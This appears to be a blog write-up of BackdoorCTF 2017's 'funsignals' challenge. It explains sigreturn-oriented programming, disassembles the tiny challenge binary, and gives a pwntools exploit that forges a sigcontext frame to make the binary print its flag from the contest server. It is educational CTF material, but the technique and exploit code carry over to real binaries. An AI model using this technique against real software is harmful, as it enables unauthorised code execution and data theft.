BackdoorCTF 2017: FUNSIGNALS

Posted on Sat, 24 Sep 2017 at 12:01:42 EST

Tagged as ctf, security, writeup, binary exploitation, and linux.

"funsignals" was a 250 point binary exploitation challenge with 58 solves. The challenge itself was a very trivial example of sigreturn-oriented programming.

Sigreturn-oriented programming is a means of getting values into certain registers without having to use ROP gadgets that pop values from the stack. It's a technique that relies on how UNIX-like operating systems implement signals - to quote an article from LWN on the subject, "when a signal is delivered to a process, execution jumps to the designated signal handler; when the handler is done, control returns to the location where execution was interrupted. Signals are a form of software interrupt, and all of the usual interrupt-like accounting must be dealt with. In particular, before the kernel can deliver a signal, it must make a note of the current execution context, including the values stored in all of the processor registers."

That "execution context" is quite simply a structure stored on the stack, which is colloquially known as the "sigcontext" structure and is defined in the architecture-specific headers of the Linux kernel. x86, for example is found at arch/x86/include/uapi/asm/sigcontext.h.

We're given a small amd64 Linux binary for the challenge. Its code is only a few bytes long:

;-- _start:
0x10000000      31c0           xorl %eax, %eax
0x10000002      31ff           xorl %edi, %edi
0x10000004      31d2           xorl %edx, %edx
0x10000006      b604           movb $4, %dh
0x10000008      4889e6         movq %rsp, %rsi
0x1000000b      0f05           syscall
0x1000000d      31ff           xorl %edi, %edi
0x1000000f      6a0f           pushq $0xf
0x10000011      58             popq %rax
0x10000012      0f05           syscall
0x10000014      cc             int3
;-- syscall:
0x10000015      0f05           syscall
0x10000017      4831ff         xorq %rdi, %rdi
0x1000001a      48c7c03c0000.  movq $0x3c, %rax
0x10000021      0f05           syscall

Don't be intimidated by the use of the seemingly uncommon syscall instruction, the portion before the "syscall" symbol is equivalent to the following C code.

char buf[0x400];
read(0, buf, 0x400);
sigreturn();

sigreturn(2) is a system call you never use in practice, but as we mentioned earlier, the process needs to restore the context when it returns from a signal handler. This is how it's done. sigreturn(2) essentially pops the sigcontext structure from the stack and fills the proper registers. Also, that int3 instruction should be a hint to us that we'll have to manipulate the instruction pointer, too, since the program would abort if we hit that.

A few bytes following the binary's code is a string that sticks out like a sore thumb: "fake_flag_here_as_original_is_at_server". To get the flag, we're going to want to print out whatever's at that address, which we can do with the sys_write system call. We're going to want to load 0x01, the syscall number for sys_write, into %rax, 0x01 into %rdi for stdout, 0x10000023 into %rsi for the address of the flag we want to print, and 0x29 into %rdx for the approximate length of the flag. Once the registers are all set up, we're going to want to invoke the kernel, so we'll set %rip to 0x10000015 - where there's a syscall instruction followed by a clean exit. To load all of those registers, we will fill out a sigcontext frame containing the values.

Now, I would highly advise against manually packing the sigcontext structure, as there are a few undocumented fields that can and will cause segmentation faults coming from seemingly nowhere. pwntools provides the pwnlib.rop.srop package for creating sigcontext frames, and the API is simple enough to understand just from the exploit code.

#!/usr/bin/env python

from pwn import *


SIGCONTEXT = SigreturnFrame(arch="amd64")
SIGCONTEXT.rax = 0x01
SIGCONTEXT.rdi = 0x01
SIGCONTEXT.rsi = 0x10000023
SIGCONTEXT.rdx = 0x29
SIGCONTEXT.rip = 0x10000015

proc = remote("163.172.176.29", 9034)
proc.sendline(bytes(SIGCONTEXT))
print(proc.recv())
[jakob@Epsilon funsignals]$ ./exploit.py 
[+] Opening connection to 163.172.176.29 on port 9034: Done
b'flag{W3lc0m3_T0_th3_n3w_w0rld_OF_S1gn4l5}'
[*] Closed connection to 163.172.176.29 port 9034

As an aside, you typically won't have an explicit call to sigreturn(2) in the binary. Sigreturn-oriented programming is most commonly combined with ROP, where a gadget to load 0xf into %rax and a gadget to perform a syscall are used.